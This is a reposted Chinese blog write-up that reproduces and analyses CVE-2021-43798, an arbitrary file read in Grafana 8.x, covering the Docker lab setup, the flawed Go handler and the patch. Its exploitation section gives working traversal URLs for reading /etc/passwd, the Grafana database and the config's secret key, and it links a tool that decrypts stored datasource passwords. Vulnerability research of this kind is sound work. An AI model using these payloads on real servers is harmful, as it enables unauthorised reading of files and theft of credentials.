ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Grafana 任意文件读取漏洞复现分析

2022-03-02 13:59:49  阅读:584  来源: 互联网

标签:读取 err filepath Grafana .. 复现 Clean grafana


Grafana 任意文件读取漏洞复现分析

CVE-2021-43798

0x01 前言

概述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

影响范围

Grafana 8.0.0-beta1 - 8.3.0

安全版本

Grafana >= 8.3.1  
Grafana >= 8.2.7  
Grafana >= 8.1.8  
Grafana >= 8.0.7

0x02 环境搭建

docker直接拉取官方镜像https://hub.docker.com/r/grafana/grafana/tags

sudo docker pull grafana/grafana:8.3.0-ubuntu

开启容器

sudo docker run -d --name=grafana -p 3000:3000 grafana/grafana:8.3.0-ubuntu

访问虚拟机

http://192.168.159.132:3000/

在这里插入图片描述

0x03漏洞分析

github上8.3.1修复了这个漏洞,那么直接查看两者比较即可

可以看到是更改了 pkg/api/plugins.go 文件

在这里插入图片描述

下载8.3.0源码,定位到284行也就是getPluginAssets函数

func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
	pluginID := web.Params(c.Req)[":pluginId"]
	plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
	if !exists {
		c.JsonApiErr(404, "Plugin not found", nil)
		return
	}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"])
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

	if !plugin.IncludedInSignature(requestedFile) {
		hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
			"is not included in the plugin signature", "file", requestedFile)
	}

	// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
	// use this with a prefix of the plugin's directory, which is set during plugin loading
	// nolint:gosec
	f, err := os.Open(pluginFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			c.JsonApiErr(404, "Plugin file not found", err)
			return
		}
		c.JsonApiErr(500, "Could not open plugin file", err)
		return
	}
	defer func() {
		if err := f.Close(); err != nil {
			hs.log.Error("Failed to close file", "err", err)
		}
	}()

	fi, err := f.Stat()
	if err != nil {
		c.JsonApiErr(500, "Plugin file exists but could not open", err)
		return
	}

	if hs.Cfg.Env == setting.Dev {
		c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
	} else {
		c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
	}

	http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}

刚开始拿到请求中的插件信息进行判断,插件是否存在,不存在就报错

Plugin not found

存在的话就接下去执行到关键点

requestedFile := filepath.Clean(web.Params(c.Req)["*"])

使用 filepath.Clean对请求进行清理,而Clean作用是这样的

此函数迭代地应用以下规则,直到无法进行进一步处理为止:

  • 它用一个替换多个Separator元素。
  • 如果指定的路径为空字符串,则返回字符串“.”。
  • 它消除了每个。路径名元素(当前目录)。
  • 它消除了每个内部…路径名元素(父目录)以及在其前面的non …元素。
  • 它消除了…元素开始于根路径:即,在分隔符为“ /”的情况下,在路径的开头用“/”替换“/…”。

**返回值:**通过纯词法处理,它返回与指定路径等效的最短路径名。

范例1:

package main 
  
import ( 
    "fmt"
    "path/filepath"
) 
  
// Calling main 
func main() { 
  
    // Calling the Clean() function 
    fmt.Println(filepath.Clean("/GFG/./../Geeks")) 
    fmt.Println(filepath.Clean("GFG/../Geeks")) 
    fmt.Println(filepath.Clean("..GFG/./../Geeks")) 
    fmt.Println(filepath.Clean("gfg/../../../Geek/GFG")) 
}

输出:

/Geeks
Geeks
Geeks
../../Geek/GFG

可以看出他对…/是没有进行过滤处理的,也就导致了任意目录穿越

当我们传入类似于../../../etc/pass的路径时,就会被拼接到pluginFilePath参数中

然后在下面通过Open去成功读取文件内容

在这里插入图片描述

路径溯源

在这里插入图片描述

r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

直接在api.go中使用了r.Get()并没有做身份认证(贴心的备注了身份认证的注释,不在当中)。

所以只要知道一个存在的pluginId,然后调用/public/plugins/:pluginId/*就可以访问任意文件,比如/public/plugins/:pluginId/../../../../../etc/passwd

0x04补丁分析

在8.3.0和8.3.1对比中可以看到新加了一段代码

requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
	rel, err := filepath.Rel("/", requestedFile)
	if err != nil {
		// this should not never fail
		c.JsonApiErr(500, "Relative path found", err)
		return
	}

主要在 filepath.Rel函数

用法:

func Rel(basepath, targpath string) (string, error)

当使用中间分隔符将其连接到basepath时,Rel返回一个相对路径,该相对路径在词法上等效于targpath。

也就是说,Join(basepath,Rel(basepath,targpath))等同于targpath本身。

成功后,即使basepath和targpath不共享任何元素,返回的路径也始终相对于basepath。

如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。 Rel在结果上调用Clean。

示例

package main

import (
    "fmt"
    "path/filepath"
)

func main() {
    paths := []string{
        "./a/b/c",
        "/b/c",
        "/../b/c",
    }
    base := "/"
    fmt.Println("On Unix:")
    for _, p := range paths {
        rel, err := filepath.Rel(base, p)
        fmt.Printf("%q: %q %v\n", p, rel, err)
    }
}

输出

On Unix:
"./a/b/c": "" Rel: can't make ./a/b/c relative to /
"/b/c": "b/c" <nil>
"/../b/c": "b/c" <nil>

这样我们就无法实现路径穿越了

0x05漏洞利用

要利用此漏洞,就要先找到安装的插件,常用的插件列表,经过测试全部是默认开启的(可能docker环境不同)

alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text

读取linux固定文件

/public/plugins/alertmanager/../../../../../../../../etc/passwd

在这里插入图片描述

读取grafana数据库文件

/public/plugins/alertmanager/../../../../../../../../var/lib/grafana/grafana.db

在这里插入图片描述

但是password是带salt的,所以不好破解

在这里插入图片描述

但是能获取到一些敏感信息,如user_auth_token表中的访问ip

在这里插入图片描述

data_source表中的数据库信息

在这里插入图片描述

其中密码也是加密存储的

{"password":"M3NybDZNRG3C74ufA1oFVaLzieBN7pJAPJpuC0P2"}

而加密方法是cfb模式下的AES256,秘钥存储在配置文件中

读取配置文件

/public/plugins/alertmanager/../../../../../../../../etc/grafana/grafana.ini

搜索secret_key

在这里插入图片描述

SW2YcwTIb9zpOOhoPsMm

这里就不去手动解密了

直接使用师傅已经写好的工具,原理也是自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件,并输出data_sourrce信息。

https://github.com/A-D-Team/grafanaExp

在这里插入图片描述

可以得到自己刚刚创建的数据源的所有信息

标签:读取,err,filepath,Grafana,..,复现,Clean,grafana
来源: https://blog.csdn.net/weixin_45794666/article/details/123228409

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有